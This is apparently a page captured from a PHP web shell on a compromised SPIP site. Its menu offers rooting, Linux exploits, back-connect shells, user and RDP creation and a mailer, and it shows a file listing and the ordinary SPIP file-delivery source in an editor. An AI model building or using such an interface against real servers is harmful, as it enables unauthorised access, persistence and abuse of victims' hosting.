Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : livrer_fichier.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion des emails et de leur envoi * * @package SPIP\Core\Fichier **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Envoyer un fichier dont on fourni le chemin, le mime type, en attachment ou non, avec un expire * * @uses spip_livrer_fichier_entetes() * @uses spip_livrer_fichier_entier() * @uses spip_livrer_fichier_partie() * * @param string $fichier * @param string $content_type * @param array $options * bool|string $attachment * int $expires * int|null range * @throws Exception */ function spip_livrer_fichier($fichier, $content_type = 'application/octet-stream', $options = []) { $defaut = [ 'attachment' => false, 'expires' => 3600, 'range' => null, ]; $options = array_merge($defaut, $options); if (is_numeric($options['expires']) and $options['expires'] > 0) { $options['expires'] = gmdate('D, d M Y H:i:s', time() + $options['expires']) . ' GMT'; } if ($options['range'] === null && isset($_SERVER['HTTP_RANGE'])) { $options['range'] = $_SERVER['HTTP_RANGE']; } // vider les buffer et supprimer la compression si besoin if (function_exists('ini_set')) { @ini_set('zlib.output_compression', '0'); // pour permettre l'affichage au fur et a mesure @ini_set('output_buffering', 'off'); @ini_set('implicit_flush', 1); } @ob_implicit_flush(true); $level = ob_get_level(); while ($level--) { @ob_end_clean(); } // vider les buffer et supprimer la compression si besoin if (function_exists('ini_set')) { @ini_set('zlib.output_compression', '0'); // pour permettre l'affichage au fur et a mesure @ini_set('output_buffering', 'off'); @ini_set('implicit_flush', 1); } @ob_implicit_flush(true); $level = ob_get_level(); while ($level--) { @ob_end_clean(); } spip_livrer_fichier_entetes( $fichier, $content_type, ($options['attachment'] && !$options['range']) ? $options['attachment'] : false, $options['expires'] ); if (!is_null($options['range'])) { spip_livrer_fichier_partie($fichier, $options['range']); } else { spip_livrer_fichier_entier($fichier); } } /** * Envoyer les entetes du fichier, sauf ce qui est lie au mode d'envoi (entier ou par parties) * * @see spip_livrer_fichier() * @param string $fichier * @param string $content_type * @param bool|string $attachment * @param int|string $expires */ function spip_livrer_fichier_entetes($fichier, $content_type = 'application/octet-stream', $attachment = false, $expires = 0) { // toujours envoyer un content type, meme vide ! header('Accept-Ranges: bytes'); header('Content-Type: ' . $content_type); if ($fs = stat($fichier) and !empty($fs['size']) and !empty($fs['mtime'])) { header("Last-Modified: " . gmdate("D, d M Y H:i:s", $fs['mtime']) . " GMT"); header(sprintf('Etag: "%x-%x"', $fs['size'], str_pad($fs['mtime'], 16, "0"))); } if ($attachment) { $f = (is_string($attachment) ? $attachment : basename($fichier)); // ce content-type est necessaire pour eviter des corruptions de zip dans ie6 header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=\"$f\";"); header('Content-Transfer-Encoding: binary'); // fix for IE caching or PHP bug issue header('Expires: 0'); // set expiration time header('Pragma: public'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); } else { $f = (is_string($attachment) ? $attachment : basename($fichier)); header("Content-Disposition: inline; filename=\"$f\";"); header('Expires: ' . $expires); // set expiration time } } /** * Envoyer les contenu entier du fichier * @param string $fichier */ function spip_livrer_fichier_entier($fichier) { if (!file_exists($fichier)) { throw new \Exception(sprintf('File not found: %s', $fichier)); } if (!is_readable($fichier)) { throw new \Exception(sprintf('File not readable: %s', $fichier)); } if ($size = filesize($fichier)) { header(sprintf('Content-Length: %d', $size)); } readfile($fichier); exit(); } /** * Envoyer une partie du fichier * Prendre en charge l'entete Range:bytes=0-456 utilise par les player medias * source : https://github.com/pomle/php-serveFilePartial/blob/master/ServeFilePartial.inc.php * * @param string $fichier * @param string $range * @throws Exception */ function spip_livrer_fichier_partie($fichier, $range = null) { if (!file_exists($fichier)) { throw new \Exception(sprintf('File not found: %s', $fichier)); } if (!is_readable($fichier)) { throw new \Exception(sprintf('File not readable: %s', $fichier)); } // Par defaut on envoie tout $byte_offset = 0; $byte_length = $file_size = filesize($fichier); // Parse Content-Range header for byte offsets, looks like "bytes=11525-" OR "bytes=11525-12451" if ($range and preg_match('%bytes=(\d+)-(\d+)?%i', $range, $match)) { ### Offset signifies where we should begin to read the file $byte_offset = (int) $match[1]; ### Length is for how long we should read the file according to the browser, and can never go beyond the file size if (isset($match[2])) { $finish_bytes = (int) $match[2]; $byte_length = $finish_bytes + 1; } else { $finish_bytes = $file_size - 1; } $cr_header = sprintf('Content-Range: bytes %d-%d/%d', $byte_offset, $finish_bytes, $file_size); } else { // si pas de range valide, on delegue a la methode d'envoi complet spip_livrer_fichier_entier($fichier); // redondant, mais facilite la comprehension du code exit(); } // Remove headers that might unnecessarily clutter up the output header_remove('Cache-Control'); header_remove('Pragma'); // partial content header('HTTP/1.1 206 Partial content'); header($cr_header); ### Decrease by 1 on byte-length since this definition is zero-based index of bytes being sent $byte_range = $byte_length - $byte_offset; header(sprintf('Content-Length: %d', $byte_range)); // Variable containing the buffer $buffer = ''; // Just a reasonable buffer size $buffer_size = 512 * 16; // Contains how much is left to read of the byte_range $byte_pool = $byte_range; if (!$handle = fopen($fichier, 'r')) { throw new \Exception(sprintf('Could not get handle for file %s', $fichier)); } if (fseek($handle, $byte_offset, SEEK_SET) == -1) { throw new \Exception(sprintf('Could not seek to byte offset %d', $byte_offset)); } while ($byte_pool > 0) { // How many bytes we request on this iteration $chunk_size_requested = min($buffer_size, $byte_pool); // Try readin $chunk_size_requested bytes from $handle and put data in $buffer $buffer = fread($handle, $chunk_size_requested); // Store how many bytes were actually read $chunk_size_actual = strlen($buffer); // If we didn't get any bytes that means something unexpected has happened since $byte_pool should be zero already if ($chunk_size_actual == 0) { // For production servers this should go in your php error log, since it will break the output trigger_error('Chunksize became 0', E_USER_WARNING); break; } // Decrease byte pool with amount of bytes that were read during this iteration $byte_pool -= $chunk_size_actual; // Write the buffer to output print $buffer; // Try to output the data to the client immediately flush(); } exit(); }
Close